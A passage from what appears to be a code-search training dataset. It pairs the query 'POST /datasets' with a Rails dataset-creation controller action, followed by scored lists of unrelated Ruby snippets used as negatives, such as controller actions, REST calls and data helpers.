]\n\n\t\t\t\t# Apply offset and limit if they're present\n\t\t\t\tlimit, offset = req.params.values_at( :limit, :offset )\n\t\t\t\tif limit\n\t\t\t\t\tself.log.debug \" limiting result set to %p records\" % [ limit ]\n\t\t\t\t\tdataset = dataset.limit( limit, offset )\n\t\t\t\tend\n\n\t\t\t\t# Fetch and return the records as JSON or YAML\n\t\t\t\t# :TODO: Handle other mediatypes\n\t\t\t\tself.log.debug \" returning collection: %s\" % [ dataset.sql ]\n\t\t\t\tres = req.response\n\t\t\t\tres.for( :json, :yaml ) { dataset.all }\n\t\t\t\tres.for( :text ) { Sequel::PrettyTable.string(dataset) }\n\n\t\t\t\treturn res\n\t\t\tend\n\t\tend", "def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end", "def getMnoData \n if @dataType == 'employees_list'\n params = MultiJson.load('{\"engine\":\"hr/employees_list\", \n \"metadata[organization_ids][]\": \"org-fbte\"}')\n elsif @dataType == 'employee_details'\n params = MultiJson.load('{\"engine\":\"hr/employee_details\", \n \"metadata[organization_ids][]\": \"org-fbte\"}')\n elsif @dataType == 'invoices'\n params = MultiJson.load('{\"engine\":\"invoices/list\", \n \"metadata[organization_ids][]\": \"org-fbte\", \n \"metadata[entity]\": \"customers|suppliers\"}')\n else\n raise StandardError\n end \n \n auth = {username: @@username, password: @@password}\n options = {query: params, basic_auth: auth}\n \n @content = HTTParty.get(@@url, options)\n end", "def set_dataset_datum\n @dataset_datum = DatasetDatum.find(params[:id])\n end", "def dataset\n @dataset ||= generate_dataset\n end", "def find(id)\n new(GeoIQ.get(\"/datasets/#{id}.json\"))\n end", "def index\n @title=\"Rothstein lab raw colony size data\"\n @header=\"<h1>#{@title}</h1><em>Log Files!</em>\"\n @experiment_raw_datasets = ExperimentRawDataset.all\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @data_set }\n end\n end", "def show\n @dataset = Dataset.find(params[:id])\n redirect_to catalog_url(:id => @dataset.pid) and return\n end", "def list_datasets request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_datasets_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1beta1::ListDatasetsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def get_fileset\n\n filesets = batched_get( { id: params[:id] } )\n if filesets.empty?\n render_json_fileset_response(:not_found )\n else\n render_json_fileset_response(:ok, fileset_transform( filesets ) )\n end\n end", "def get_data(service, version, action)\n\t\treturn @transport.get_path(\"data\",service, version, action)\n\tend" ]
[ "0.6515531", "0.6515531", "0.6430059", "0.6369675", "0.6369675", "0.6369675", "0.63256216", "0.62667674", "0.6231876", "0.60140026", "0.59460634", "0.59143174", "0.5913164", "0.58865386", "0.58772343", "0.587506", "0.587506", "0.587506", "0.587506", "0.58724594", "0.58608234", "0.57892525", "0.57892525", "0.5778265", "0.57780355", "0.5749766", "0.5749766", "0.57304746", "0.5717161", "0.5715491", "0.56998086", "0.5698483", "0.56701803", "0.5654667", "0.5624675", "0.56233734", "0.5612021", "0.5610376", "0.5610376", "0.5589616", "0.5582621", "0.558062", "0.55800784", "0.55794567", "0.5579246", "0.5537483", "0.55374676", "0.55370677", "0.5520521", "0.5514318", "0.5496743", "0.54955363", "0.54881036", "0.54738516", "0.54736733", "0.5469482", "0.54620266", "0.54551846", "0.54355544", "0.54343855", "0.54343855", "0.5424108", "0.5422082", "0.54085064", "0.54062515", "0.5399838", "0.53988975", "0.5373419", "0.5372459", "0.53679895", "0.53617823", "0.5338364", "0.5337091", "0.5331121", "0.5321461", "0.53195417", "0.5318336", "0.5310104", "0.5305358", "0.5305272", "0.5298329", "0.52939254", "0.52741444", "0.52730924", "0.52730924", "0.52581114", "0.52472156", "0.5245651", "0.5245426", "0.5243892", "0.52428854", "0.52389896", "0.52367675", "0.52315015", "0.5229015", "0.5210198", "0.52048063", "0.5201095", "0.5198922", "0.5197068" ]
0.6559103
0
POST /datasets POST /datasets.xml
def create @dataset = Dataset.new(params[:dataset]) respond_to do |format| if @dataset.save flash[:notice] = 'Dataset was successfully created.' format.html { redirect_to dataset_url(@dataset) } format.xml { head :created, :location => dataset_url(@dataset) } else format.html { render :action => "new" } format.xml { render :xml => @dataset.errors.to_xml } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @dataset = Dataset.new(params[:dataset])\n\n respond_to do |format|\n if @dataset.save\n format.html { redirect_to(@dataset, :notice => 'Dataset was successfully created.') }\n format.xml { render :xml => @dataset, :status => :created, :location => @dataset }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n\n respond_to do |format|\n if @dataset.save\n flash[:notice] = 'Dataset was successfully created.'\n format.html { redirect_to(@dataset) }\n format.xml { render :xml => @dataset, :status => :created, :location => @dataset }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n current_user.datasets << @dataset\n\n respond_to do |format|\n if @dataset.save\n format.html { redirect_to @dataset, notice: 'Dataset was successfully created.' }\n format.json { render json: @dataset, status: :created, location: @dataset }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dataset.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dataset = Dataset.new(dataset_params)\n\n if @dataset.save\n redirect_to @dataset, notice: 'Dataset was successfully created.'\n else\n redirect_to datasets_path, notice: 'Dataset could not be created.'\n end\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n prep_dataset_form\n @dataset.save!\n publish_press_item(\"New dataset added: #{@dataset.title}\")\n\n respond_to do |wants|\n flash[:notice] = 'Dataset was successfully created.'\n wants.html { redirect_to(@dataset) }\n wants.xml { render :xml => @dataset, :status => :created, :location => @dataset }\n end\n end", "def create\n @image_dataset = ImageDataset.new(params[:image_dataset])\n\n respond_to do |format|\n if @image_dataset.save\n flash[:notice] = 'ImageDataset was successfully created.'\n format.html { redirect_to(@image_dataset) }\n format.xml { render :xml => @image_dataset, :status => :created, :location => @image_dataset }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @image_dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @dataset = Dataset.new(dataset_params)\n\n if @dataset.save\n redirect_to @dataset\n flash[:success] = \"Dataset was successfully created.\"\n else\n render :new\n end\n end", "def dataset_params\n params.require(:dataset).permit(:name, :description, :contents)\n end", "def create\n\t\t@data_set = DataSet.new(params[:data_set])\n\n\t\trespond_to do |format|\n\t\t\tif @data_set.save\n\t\t\t\tformat.html { redirect_to @data_set, notice: 'Data set was successfully created.' }\n\t\t\t\tformat.json { render json: @data_set, status: :created, location: @data_set }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @data_set.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n authorize! :create, Dataset\n @dataset = Dataset.new(dataset_params)\n respond_to do |format|\n if @dataset.save\n format.html { redirect_to edit_dataset_path(@dataset.key) }\n format.json { render :edit, status: :created, location: edit_dataset_path(@dataset.key) }\n else\n format.html { render :new }\n format.json { render json: @dataset.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_dataset(name, description, columns)\n authenticate unless authenticated?\n payload = {\n name: name,\n description: description,\n }\n schema = {columns: []}\n columns.each { |col| schema[:columns].push(col) }\n payload[:schema] = schema\n response = RestClient::Request.execute(\n url: @@datasets_endpoint,\n method: :post,\n headers: headers('application/json'),\n payload: JSON.generate(payload)\n )\n return JSON.parse(response.body)\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n @dataset.user = current_user\n\n respond_to do |format|\n if @dataset.save\n @dataset.process!\n format.html { redirect_to(@dataset, :notice => 'Dataset was successfully created.') }\n format.xml { render :xml => @dataset, :status => :created, :location => @dataset }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @dataset_datum = DatasetDatum.new(dataset_datum_params)\n\n respond_to do |format|\n if @dataset_datum.save\n format.html { redirect_to @dataset_datum, notice: 'Dataset datum was successfully created.' }\n format.json { render action: 'show', status: :created, location: @dataset_datum }\n else\n format.html { render action: 'new' }\n format.json { render json: @dataset_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @qdataset = Qdataset.new(qdataset_params)\n\n respond_to do |format|\n if @qdataset.save\n format.html { redirect_to @qdataset, notice: 'Qdataset was successfully created.' }\n format.json { render :show, status: :created, location: @qdataset }\n else\n format.html { render :new }\n format.json { render json: @qdataset.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n authorize! :create, Dataset\n @dataset = Dataset.new(dataset_params)\n respond_to do |format|\n if @dataset.save\n format.html {redirect_to edit_dataset_path(@dataset.key)}\n format.json {render :edit, status: :created, location: edit_dataset_path(@dataset.key)}\n else\n format.html {render :new}\n format.json {render json: @dataset.errors, status: :unprocessable_entity}\n end\n end\n end", "def create\n @data_set = DataSet.new(data_set_params)\n\n respond_to do |format|\n if @data_set.save\n format.html { redirect_to [:admin, @data_set], notice: 'Data set was successfully created.' }\n format.json { render :show, status: :created, location: [:admin, @data_set] }\n else\n format.html { render :new }\n format.json { render json: @data_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n chef_server_rest.post(\"data/#{data_bag}\", self)\n self\n end", "def create\n @data_set = DataSet.new(params[:data_set])\n\n respond_to do |format|\n if @data_set.save\n format.html { redirect_to @data_set, notice: 'Project data set was successfully created.' }\n format.json { render json: @data_set.to_hash(false), status: :created, location: @data_set }\n else\n format.html { render action: \"new\" }\n format.json { render json: @data_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @dataset = Dataset.new\n 3.times do\n @dataset.dataset_variables << DatasetVariable.new\n end\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def dataset_params\n params.require(:dataset).permit(:name, :index_name, :document_type, :data)\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n # TODO\n #@dataset = DatasetService.get_dataset\n end", "def stub_new_dataset\n deposition_id = rand.to_s[2..8].to_i\n simple = simple_body(deposition_id: deposition_id)\n stub_request(:post, 'https://sandbox.zenodo.org/api/deposit/depositions?access_token=ThisIsAFakeToken')\n .with(headers: { 'Content-Type' => 'application/json' })\n .to_return(status: 200,\n body: simple.merge(state: 'unsubmitted').to_json,\n headers: { 'Content-Type' => 'application/json' })\n [deposition_id, simple[:links][:bucket]]\n end", "def create_dataset request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_dataset_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1beta1::Dataset.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def get_datasets\n authenticate unless authenticated?\n response = RestClient::Request.execute(\n url: @@datasets_endpoint,\n method: :get,\n headers: headers('application/json')\n )\n return response\n end", "def set_data_set\n @data_set = DataSet.find_by(:id => params[:dataset_id])\n end", "def insert_dataset new_dataset_gapi\n execute { service.insert_dataset @project, new_dataset_gapi }\n end", "def upload(token)\n DatasetService.upload token, type, provider, connector_url,\n application, name, tags, legend\n end", "def set_dataset\n @dataset = Dataset.find(params[:id] || params[:dataset_id])\n end", "def datasets\n @datasets || []\n end", "def datasets\n @datasets || []\n end", "def index\n @datasets = Dataset.all\n end", "def index\n @datasets = Dataset.all\n end", "def index\n @datasets = Dataset.all\n end", "def index\n @datasets = Dataset.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @datasets }\n end\n end", "def create_datasets(builder)\n each_dataset(builder) do |ds|\n builder.create_dataset(ds, mapping: true, parents: ds.root?)\n end\n end", "def set_datasets\n # Force admin token for getting user information (show/hide delete button)\n datasets = @site.get_datasets(current_user)\n @datasets = process_datasets datasets\n end", "def create\n #chart = Chart.find(params[:chart_id])\n chart = Chart.where(\"id = ? AND user_id = ?\", params[:chart_id], current_user.id).limit(1)[0]\n data_set = chart.data_sets.new(params[:data_set])\n data_set.save\n\n respond_with(data_set) do |format|\n if data_set.valid?\n format.json { render json: { success: true, data_sets: data_set } }\n else\n format.json { render json: { success: false, errors: data_set.errors } }\n end\n end\n end", "def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end", "def create_dataset(datasetId)\n api(\n api_method: @bq.datasets.insert,\n body_object: { \"datasetReference\" => {\n \"datasetId\" => datasetId,\n \"projectId\" => @project_id,\n }\n }\n )\n end", "def new\n @dataset = Dataset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def new\n @dataset = Dataset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def dataset_params\n params.require(:dataset).permit(:title, :description, :blob, :user_file_path, :file_size, :dimensions, :size)\n end", "def set_datasets\n @datasets = current_user.get_datasets 'all'\n\n @metadata_array = []\n @metadata_array = Dataset.get_metadata_list(@datasets.map{|ds| ds.id}) if @datasets\n\n # TODO: Find a better way to do this\n @datasets.each_with_index do |ds, i|\n ds.metadata = @metadata_array['data'][i]['attributes']\n end\n end", "def dataset_datum_params\n params.require(:dataset_datum).permit(:dataset_field_id_id, :dataset_row_id_id, :dataset_field_data)\n end", "def reference_datasets\n if @results.nil?\n @ref_datasets = @project.ref_datasets\n else\n @ref_datasets = @results\n end\n cur_page = (params[:page] || 1).to_i\n per_page = (params[:per_page] || 10).to_i\n @datasets = WillPaginate::Collection.create(\n cur_page, per_page, @ref_datasets.size) do |pager|\n start = (cur_page - 1) * per_page\n pager.replace(@ref_datasets[start, per_page])\n end\n end", "def add_arrays_to_tenant(args = {}) \n post(\"/tenants.json/#{args[:tenantId]}/arrays\", args)\nend", "def set_dataset\n @dataset =\n Dataset.find_with_metadata(params[:id], user_token(@site, true))\n end", "def create\n @data_set = DataSet.new(params[:data_set])\n params[:visibility] = 'public' unless current_user\n\n respond_to do |format|\n if @success = @data_set.save_and_upload_file(params)\n @data_set.set_visibility(current_user, params)\n flash[:notice] = 'DataSet was successfully created.'\n format.all_text \n format.html { redirect_to(@data_set) }\n format.xml { render :xml => @data_set, :status => :created, :location => @data_set }\n else\n format.all_text \n format.html { render :action => 'new' }\n format.xml { render :xml => @data_set.errors, :status => :unprocessable_entity }\n end\n end\n end", "def destroy\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(datasets_url) }\n format.xml { head :ok }\n end\n end", "def set_dataset_datum\n @dataset_datum = DatasetDatum.find(params[:id])\n end", "def new\n @dataset = Dataset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dataset }\n end\n end", "def destroy\n @dataset = Dataset.find(params[:id])\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(datasets_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @dataset = Dataset.find(params[:id])\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(datasets_url) }\n format.xml { head :ok }\n end\n end", "def datasets\n datasets = []\n dataset.each do |d|\n if d[:data].first.is_a?(Array)\n datasets += d[:data]\n else\n datasets << d[:data]\n end\n end\n datasets\n end", "def create_dataset(dataset_id)\n dataset = Google::Apis::BigqueryV2::Dataset.new(\n dataset_reference: { project_id: @project_id, dataset_id: dataset_id }\n )\n api(\n @client.insert_dataset(\n @project_id,\n dataset\n )\n )\n end", "def set_data_set\n @data_set = DataSet.find(params[:id])\n end", "def type\n 'dataset'\n end", "def create_data_download(project_id, opts = {})\n post \"projects/#{project_id}/datadownload\", opts\n end", "def set_data_set\n @data_set = DataSet.find(params[:id])\n end", "def set_data_set\n @data_set = DataSet.find(params[:id])\n end", "def create_dataset request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_dataset_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def index\n @datasets = Dataset.published\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @datasets }\n end\n end", "def post endpoint, data\n do_request :post, endpoint, data\n end", "def index\n @dataset_data = DatasetDatum.all\n end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def create\n @fmr_dataset = FmrDataset.new(fmr_dataset_params)\n @fmr_dataset.method = 'web upload'\n @fmr_dataset.dataset_var = DatasetVar.new(dataset_var_params)\n\n directory = 'lib/assets/fmr_dataset_spreadsheets'\n name = filename_params['filename']\n if name.present?\n path = Rails.root + directory + name.original_filename\n tempfile = File.open(name.tempfile)\n new_file = File.new(path, 'wb')\n\n IO.copy_stream(tempfile, new_file)\n tempfile.close\n new_file.close\n\n service = SaveSpreadsheetToDbService.new(path, @fmr_dataset, @fmr_dataset.dataset_var)\n service.perform\n end\n\n @fmr_dataset.dataset_var.filename = path\n\n begin\n @fmr_dataset.transaction do\n service.persist if service\n @fmr_dataset.dataset_var.save!\n @fmr_dataset.save!\n end\n rescue\n not_persisted = true\n end\n\n respond_to do |format|\n unless not_persisted\n format.html { redirect_to @fmr_dataset, notice: 'Fmr dataset was successfully created.' }\n format.json { render :show, status: :created, location: @fmr_dataset }\n else\n format.html { render :new }\n format.json { render json: @fmr_dataset.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @data_set_type = DataSetType.new(data_set_type_params)\n\n respond_to do |format|\n if @data_set_type.save\n format.html { redirect_to @data_set_type, notice: 'Data set type was successfully created.' }\n format.json { render :show, status: :created, location: @data_set_type }\n else\n format.html { render :new }\n format.json { render json: @data_set_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @dataset.destroy\n\n respond_to do |wants|\n wants.html { redirect_to(datasets_url) }\n wants.xml { head :ok }\n end\n end", "def new\n @data_set = DataSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @data_set }\n end\n end", "def destroy\n @dataset = Dataset.find(params[:id])\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to datasets_url }\n format.xml { head :ok }\n end\n end", "def create\n seth_server_rest.post_rest(\"data\", self)\n self\n end", "def dataset(name)\n @datasets[name.to_sym] = Dataset.new(session, *split(name))\n end", "def dataset(name)\n sets[name] = Dataset.new(name, connection)\n end", "def dataset_params\n filtered = params.require(:dataset).permit(:name, :description, :url, :year, :number_subjects, :pipeline,\n :quotation, :data, :attachment, :study_id, data_type_ids: [])\n filtered[:data_type_ids].reject!(&:blank?)\n filtered\n end", "def bootstrap_dataset(domo_client, upload_timestamp=nil, partition_field=nil)\n dsr = CreateDataSetRequest.new\n dsr.setName \"logstash-output-domo rspec test\"\n dsr.setDescription \"Created by the rspec tests for the logstash-output-domo plugin\"\n\n dsr.setSchema(Schema.new(test_dataset_columns(upload_timestamp, partition_field)))\n\n stream_request = StreamRequest.new\n stream_request.setDataSet(dsr)\n stream_request.setUpdateMethod(UpdateMethod::APPEND)\n stream = domo_client.streamClient.create(stream_request)\n\n stream_id = stream.getId\n dataset_id = stream.getDataset.getId\n\n attempt = 0\n max_attempts = 5\n dataset_valid = false\n until dataset_valid\n raise Exception.new(\"There was a problem with creating Dataset ID #{dataset_id}\") if attempt >= max_attempts\n dataset_valid = check_dataset(domo_client, dataset_id)\n attempt += 1\n end\n\n {\n \"dataset_id\" => dataset_id,\n \"stream_id\" => stream_id,\n }\n end", "def set_dataset\n\n @dataset = Dataset.find_by_key(params[:id])\n unless @dataset\n @dataset = Dataset.find(params[:dataset_id])\n end\n raise ActiveRecord::RecordNotFound unless @dataset\n end", "def create\n @dataset = Dataset.new(title: params.require(:dataset)[:title].to_s.squish)\n if @dataset.save\n current_user.has_role! :owner, @dataset\n else\n flash[:error] = @dataset.errors.full_messages.to_sentence\n redirect_back(fallback_location: root_url)\n end\n end", "def create\n @dataunit = Dataunit.new(dataunit_params)\n\t@dataunit.dataset_id=dataset_id\n\n respond_to do |format|\n if @dataunit.save\n format.html { redirect_to @dataunit, notice: @dataunit.user_id.to_s + 'Dataunit was successfully created.' }\n format.json { render :show, status: :created, location: @dataunit }\n else\n format.html { render :new }\n format.json { render json: @dataunit.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(url, data)\n RestClient.post ENV['APIBASE']+url, data, :content_type => :json\nend", "def postEntityBulkJson( data)\n params = Hash.new\n params['data'] = data\n return doCurl(\"post\",\"/entity/bulk/json\",params)\n end", "def create\n @dataset = Dataset.new(dataset_params)\n study = @dataset.study\n authorize! :edit, study\n\n respond_to do |format|\n if @dataset.save\n format.html { redirect_to @dataset,\n notice: 'Dataset was successfully created. Your new dataset must be reviewed by an administrator before making it public.' }\n format.json { render :show, status: :created, location: @dataset }\n else\n format.html { render :new }\n format.json { render json: @dataset.errors, status: :unprocessable_entity }\n end\n end\n end", "def dataset_params\n params.require(:dataset).permit(:user_id, :unit_id, :project_name, :project_date, :project_location, :latitude, :longitude, :methods, :missing_data, :project_notes, :data, headers_attributes: [:id, :header_name, :header_unit, :header_notes, :_destroy])\n end", "def postEntityBulkCsv( filedata)\n params = Hash.new\n params['filedata'] = filedata\n return doCurl(\"post\",\"/entity/bulk/csv\",params)\n end", "def dataset_params\n params.require(:dataset).permit(:medusa_dataset_dir, :title, :identifier, :publisher, :license, :key, :description, :keywords, :depositor_email, :depositor_name, :corresponding_creator_name, :corresponding_creator_email, :embargo, :complete, :search, :dataset_version, :release_date, :is_test, :is_import, :audit_id, :removed_private, :have_permission, :internal_reviewer, :agree, :web_ids, :org_creators, :version_comment, :subject,\n datafiles_attributes: [:datafile, :description, :attachment, :dataset_id, :id, :_destroy, :_update, :audit_id],\n creators_attributes: [:dataset_id, :family_name, :given_name, :institution_name, :identifier, :identifier_scheme, :type_of, :row_position, :is_contact, :email, :id, :_destroy, :_update, :audit_id],\n contributors_attributes: [:dataset_id, :family_name, :given_name, :identifier, :identifier_scheme, :type_of, :row_position, :is_contact, :email, :id, :_destroy, :_update, :audit_id],\n funders_attributes: [:dataset_id, :code, :name, :identifier, :identifier_scheme, :grant, :id, :_destroy, :_update, :audit_id],\n related_materials_attributes: [:material_type, :selected_type, :availability, :link, :uri, :uri_type, :citation, :datacite_list, :dataset_id, :_destroy, :id, :_update, :audit_id, :feature, :note])\n end", "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x|\n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x|\n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end", "def post_rest_api(endpoint, data, http)\n rest_api_endpoint = \"/classifier-api/v1/#{endpoint}\"\n\n # Create an HTTP POST request against the specified REST API endpoint\n request = Net::HTTP::Post.new(rest_api_endpoint)\n # Set the Content-Type and data of the HTTP POST request\n request.content_type = \"application/json\"\n request.body = data\n # Submit the request\n response = http.request(request)\n # Return the response bosy (JSON containing the result of the POST operation)\n response.body\nend", "def create_set(data)\n result = @connection.request(\n url: \"/snapshot-sets\",\n method: :post,\n payload: {\n snapshotSet: data\n }\n )\n\n # Blocks async task\n result = @connection.wait_for_task(result['taskUri'].split('/').last)\n\n get_set(result['associatedResource']['resourceUri'].split('/').last)\n end", "def dataset_params\n params.require(:dataset).permit(:medusa_dataset_dir, :title, :identifier, :publisher, :license, :key, :description, :keywords, :depositor_email, :depositor_name, :corresponding_creator_name, :corresponding_creator_email, :embargo, :complete, :search, :dataset_version, :release_date, :is_test, :is_import, :audit_id, :removed_private, :have_permission, :internal_reviewer, :agree, :web_ids, :org_creators, :version_comment, :subject,\n datafiles_attributes: [:datafile, :description, :attachment, :dataset_id, :id, :_destroy, :_update, :audit_id],\n creators_attributes: [:dataset_id, :family_name, :given_name, :institution_name, :identifier, :identifier_scheme, :type_of, :row_position, :is_contact, :email, :id, :_destroy, :_update, :audit_id],\n contributors_attributes: [:dataset_id, :family_name, :given_name, :identifier, :identifier_scheme, :type_of, :row_position, :is_contact, :email, :id, :_destroy, :_update, :audit_id],\n funders_attributes: [:dataset_id, :code, :name, :identifier, :identifier_scheme, :grant, :id, :_destroy, :_update, :audit_id],\n related_materials_attributes: [:material_type, :selected_type, :availability, :link, :uri, :uri_type, :citation, :datacite_list, :dataset_id, :_destroy, :id, :_update, :audit_id])\n end", "def new\n @dataset = Dataset.new\n prep_dataset_form\n \n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @dataset }\n end\n end", "def postFlatpackSitemap( flatpack_id, filedata)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n params['filedata'] = filedata\n return doCurl(\"post\",\"/flatpack/sitemap\",params)\n end", "def add_dataset(name)\n unless metadata[:datasets].include? name\n d = MiGA::Dataset.new(self, name)\n @metadata[:datasets] << name\n @dataset_names_hash = nil # Ensure loading even if +do_not_save+ is true\n save\n if d.ref? && d.active?\n recalculate_tasks(\"Reference dataset added: #{d.name}\")\n end\n pull_hook(:on_add_dataset, name)\n end\n dataset(name)\n end", "def submit_report(json, cookbookname)\n data = File.read(json)\n uri = URI.parse($SPEC_ENDPOINT)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = uri.scheme == \"https\"\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(\"/api/reports\")\n request.add_field('Content-Type', 'application/json')\n request.body = {\n :spec_result => data,\n :hostname => `hostname`.chomp,\n :cookbook_name => cookbookname\n }.to_json\n response = http.request(request)\n end", "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x| \n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x| \n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end", "def create\n\t\turi = URI.parse(Counter::Application.config.simplyurl)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\n\t\trequest = Net::HTTP::Post.new('/offsets.json')\n\t\tputs params\n\t\tputs params.slice(*['custids','acctids','itemids'])\n\t\t\n\t\t# ok, this join stuff is bogus - it encodes properly, but the other side only sees the last element and loses the array type - it's just string\n\t\t# this way, i 'split' it at the other side to recover my array\n\t\t# it should work without the join/split crap, but it doesn't\n\t\trequest.set_form_data({:custids => ( params['custids'] || []).join(','), :acctids => ( params['acctids'] || []).join(','), :itemids => ( params['itemids'] || []).join(','), :amount => params['amount'], :type => params['type']})\n\t\t\n\t\tputs request.body\n\t\t\n\t\tresponse = http.request(request)\n\t\tputs response.body\n\n respond_to do |format|\n format.html { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n format.json { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n end\n end", "def post(data)\n response_data = []\n data.each do |xml|\n req = send_request(xml)\n\n if req[:code].to_i.between?(200, 201)\n response_data << req[:data]\n else\n if req[:code] == \"401\"\n raise ResponseError, \"Could not authenticate with the Pomegranate API. Ensure that your credentials are correct.\"\n elsif req[:code] == \"400\"\n raise ResponseError, \"Bad asset value formatting. Please reformat and try again.\"\n else\n raise StandardError, \"An unknown error has occured.\"\n end\n response_data = false\n break\n end\n end\n\n response_data\n end", "def create(name=\"Default Name\", age=\"50\")\r\n xml_req 